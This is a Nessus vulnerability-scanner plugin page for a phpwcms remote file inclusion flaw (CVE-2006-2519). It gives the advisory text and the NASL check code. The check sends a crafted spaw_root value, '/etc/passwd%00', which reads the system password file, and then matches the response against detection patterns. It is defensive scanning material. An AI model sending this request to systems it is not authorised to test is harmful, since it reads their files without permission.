phpwcms spaw_control.class.php spaw_root Parameter Remote File Inclusion

2006-05-23T00:00:00
ID PHPWCMS_SPAW_ROOT_FILE_INCLUDE.NASL
Type nessus
Reporter Tenable
Modified 2018-07-24T00:00:00

Description

The remote host is running phpwcms, an open source content management system written in PHP.

The version of phpwcms installed on the remote host fails to sanitize user-supplied input to the 'spaw_root' parameter before using it in PHP include() functions in the 'include/inc_ext/spaw/spaw_control.class.php' script. Provided PHP's 'register_globals' setting is enabled, an unauthenticated attacker may be able to exploit this flaw to view arbitrary files on the remote host or to execute arbitrary PHP code, possibly taken from third-party hosts.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#



include("compat.inc");

if (description)
{
  script_id(21582);
  script_version("1.21");
  script_cvs_date("Date: 2018/07/24 18:56:11");

  script_cve_id("CVE-2006-2519");
  script_bugtraq_id(18062);

  script_name(english:"phpwcms spaw_control.class.php spaw_root Parameter Remote File Inclusion");
  script_summary(english:"Tries to read a local file using phpwcms");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is susceptible
to remote file inclusion attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host is running phpwcms, an open source content management
system written in PHP.

The version of phpwcms installed on the remote host fails to sanitize
user-supplied input to the 'spaw_root' parameter before using it in
PHP include() functions in the
'include/inc_ext/spaw/spaw_control.class.php' script.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker may
be able to exploit this flaw to view arbitrary files on the remote
host or to execute arbitrary PHP code, possibly taken from third-party
hosts." );
 script_set_attribute(attribute:"see_also", value:"http://www.securityfocus.com/archive/1/434706/30/0/threaded");
 script_set_attribute(attribute:"solution", value:"Unknown at this time.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"2006/05/21");
 script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/23");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:phpwcms:phpwcms");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpwcms_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/phpwcms", "www/PHP");
  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0, php: TRUE);

install = get_install_from_kb(
  appname      : 'phpwcms',
  port         : port,
  exit_on_fail : TRUE
);

dir = install['dir'];

# Try to exploit one of the flaws to read a file.
file = "/etc/passwd%00";
r = http_send_recv3(
  method       :"GET",
  port         : port,
  item         : dir + "/include/inc_ext/spaw/spaw_control.class.php?spaw_root=" + file ,
  exit_on_fail : TRUE
);
res = r[2];

# There's a problem if...
if (
  # there's an entry for root or...
  egrep(pattern:"root:.*:0:[01]:", string:res) ||
  # we get an error saying "failed to open stream".
  egrep(pattern:"main\(/etc/passwd\\0config/spaw_control\.config\.php.+ failed to open stream", string:res) ||
  # we get an error claiming the file doesn't exist or...
  egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
  # we get an error about open_basedir restriction.
  egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
)
{
  if (egrep(string:res, pattern:"root:.*:0:[01]:"))
  {
    res = data_protection::redact_etc_passwd(output:res);
    report = '\n' +
      'Here are the repeated contents of the file "/etc/passwd"\n' +
      'that Nessus was able to read from the remote host :\n' +
      '\n' +
      res;
    security_note(port:port, extra:report);
  }
  else security_note(port);

  exit(0);
}
else exit(0, "The phpwcms install at '"+dir+"' on port "+port+" is not affected.");